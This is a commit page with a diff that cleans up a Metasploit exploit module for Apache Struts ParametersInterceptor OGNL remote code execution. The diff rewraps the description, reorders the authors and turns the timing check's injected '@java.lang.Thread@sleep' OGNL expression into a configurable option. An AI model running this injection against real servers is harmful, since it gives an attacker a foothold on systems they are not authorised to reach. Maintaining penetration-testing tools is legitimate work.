Skip to content

Commit bbff20f

Browse files
author
jvazquez-r7
committed
cleanup for struts_code_exec_parameters
1 parent 50c6a98 commit bbff20f

File tree

1 file changed

+17
-15
lines changed

1 file changed

+17
-15
lines changed

modules/exploits/multi/http/struts_code_exec_parameters.rb

Lines changed: 17 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -18,18 +18,18 @@ def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
2020
'Description' => %q{
21-
This module exploits a remote command execution vulnerability in
22-
Apache Struts versions < 2.3.1.2. This issue is caused because the
23-
ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret
24-
parameter values as OGNL expressions during certain exception handling for mismatched
25-
data types of properties which allows remote attackers to execute arbitrary Java code
26-
via a crafted parameter.
21+
This module exploits a remote command execution vulnerability in Apache Struts
22+
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
23+
for the use of parentheses which in turn allows it to interpret parameter values as
24+
OGNL expressions during certain exception handling for mismatched data types of
25+
properties which allows remote attackers to execute arbitrary Java code via a
26+
crafted parameter.
2727
},
2828
'Author' =>
2929
[
30-
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
3130
'Meder Kydyraliev', # Vulnerability Discovery and PoC
32-
'mihi', #ARCH_JAVA support
31+
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
32+
'mihi' #ARCH_JAVA support
3333
],
3434
'License' => MSF_LICENSE,
3535
'References' =>
@@ -57,8 +57,8 @@ def initialize(info = {})
5757
],
5858
[ 'Java Universal',
5959
{
60-
'Arch' => ARCH_JAVA,
61-
'Platform' => 'java'
60+
'Arch' => ARCH_JAVA,
61+
'Platform' => 'java'
6262
},
6363
]
6464
],
@@ -69,8 +69,9 @@ def initialize(info = {})
6969
[
7070
Opt::RPORT(8080),
7171
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
72-
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"])
73-
], self.class)
72+
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
73+
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
74+
], self.class)
7475
end
7576

7677
def execute_command(cmd, opts = {})
@@ -144,17 +145,18 @@ def java_upload_part(part, filename, append = 'false')
144145
end
145146

146147
def check
147-
check_cmd = "@java.lang.Thread@sleep(10000)"
148+
sleep_time = datastore['CHECK_SLEEPTIME']
149+
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
148150
t1 = Time.now
149-
print_status("Asking remote server to sleep for 10 seconds")
151+
print_status("Asking remote server to sleep for #{sleep_time} seconds")
150152
response = execute_command(check_cmd)
151153
t2 = Time.now
152154
delta = t2 - t1
153155

154156

155157
if response.nil?
156158
return Exploit::CheckCode::Safe
157-
elsif delta < 10
159+
elsif delta < sleep_time
158160
return Exploit::CheckCode::Safe
159161
else
160162
return Exploit::CheckCode::Appears

0 commit comments

Comments
 (0)